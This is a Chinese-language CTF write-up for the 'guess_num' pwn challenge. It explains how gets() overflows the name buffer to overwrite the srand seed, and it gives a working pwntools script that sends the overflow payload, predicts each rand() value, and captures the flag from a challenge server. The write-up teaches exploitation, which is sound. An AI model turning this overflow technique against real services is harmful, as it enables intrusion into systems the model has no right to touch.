Xman pwn guess_num writeup

原创

tuck3r 于 2019-08-24 10:18:24 发布 680 收藏
分类专栏： CTF pwn 文章标签： Xman pwn writeup

题目描述：

菜鸡在玩一个猜数字的游戏，但他无论如何都银不了，你能帮助他么

分析思路：

1、首先查看一下文件详细信息：

```
tucker@ubuntu:~/pwn$ file guess_num
guess_num: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=c5689a0b4458c068fb51e3a2c167b112c3ba7323, stripped

tucker@ubuntu:~/pwn$ checksec guess_num
[*] '/home/tucker/pwn/guess_num'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

发现是64bit的ELF文件，stripped（No debug info)，而且感觉安全机制基本都开了。

2、IDA看一下：

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-3Ch]
  int i; // [rsp+8h] [rbp-38h]
  int v6; // [rsp+Ch] [rbp-34h]
  char v7; // [rsp+10h] [rbp-30h]
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  v4 = 0;
  v6 = 0;
  *(_QWORD *)seed = sub_BB0();
  puts("------------------------------");
  puts("Welcome to a guess number game!");
  puts("------------------------------");
  puts("Please let me know your name!");
  printf("Your name:", 0LL);
  gets(&v7);
  srand(seed[0]);
  for ( i = 0; i <= 9; ++i )
  {
    v6 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v4);
    puts("--------------------------------");
    if ( v4 != v6 )
    {
      puts("GG!");
      exit(1);
    }
    puts("Success!");
  }
  sub_C3E();
  return 0LL;
}
```

程序逻辑就是猜随机数，猜对10次，则进入sub_C3E()：

```
__int64 sub_C3E()
{
  printf("You are a prophet!\nHere is your flag!");
  system("cat flag");
  return 0LL;
}
```

因此我们要做的就是猜对10次随机数即可。

3、关于随机数，大家可以看看（https://blog.csdn.net/lianghui0811/article/details/76480664）

void srand(unsigned seed); //srand函数是随机数发生器的初始化函数

int rand(void);　　//rand函数是用来产生伪随机数的

seed的作用：srand函数根据参数seed，设置一个随机起点，而rand根据这个起点产生随机数序列。默认的seed为1，如果seed一样，则rand产生的随机数序列也一样。

我们可以使用Python的ctypes库做一个实验：

```
# python_rand.py

from ctypes import *

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
list = ''
for i in range(10):
    list +=  str(libc.rand()%6+1)
print list
```

运行结果如下：

```
tucker@ubuntu:~/pwn$ python python_rand.py
2542625142
tucker@ubuntu:~/pwn$ python python_rand.py
2542625142
tucker@ubuntu:~/pwn$ python python_rand.py
2542625142
```

由此我们可以看到rand并不随机。据此我们就可以很容易地得到原程序中产生的随机数的值。

并且根据：

```
  printf("Your name:", 0LL);
  gets(&v7);
  srand(seed[0]);
```

我们可以溢出v7，覆盖seed的值。

其栈帧布局如下：

低地址	v4	rbp-3ch
	i	rbp-38h
	v6	rbp-34h
	v7	rbp-30h
	20h	
高地址	seed	rbp-10h

由此，我们可以构造栈溢出利用代码：

```
# guess_num.py

from pwn import *
from ctypes import *

# a = process("./guess_num")
a = remote("111.198.29.45", "53700")

payload = 'a' * 0x20 + p32(1)

a.recvuntil("Your name:")
a.sendline(payload)

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)

for i in range(10):
 a.recvuntil("Please input your guess number:")
 a.sendline(str(libc.rand() % 6 + 1))

a.interactive()
```

运行即可得到flag：

```
tucker@ubuntu:~/pwn$ python guess_num.py
[+] Opening connection to 111.198.29.45 on port 53700: Done
[*] Switching to interactive mode
--------------------------------
Success!
You are a prophet!
Here is your flag!cyberpeace{65435d63942714d9a403f5668754ae02}
[*] Got EOF while reading in interactive
$
```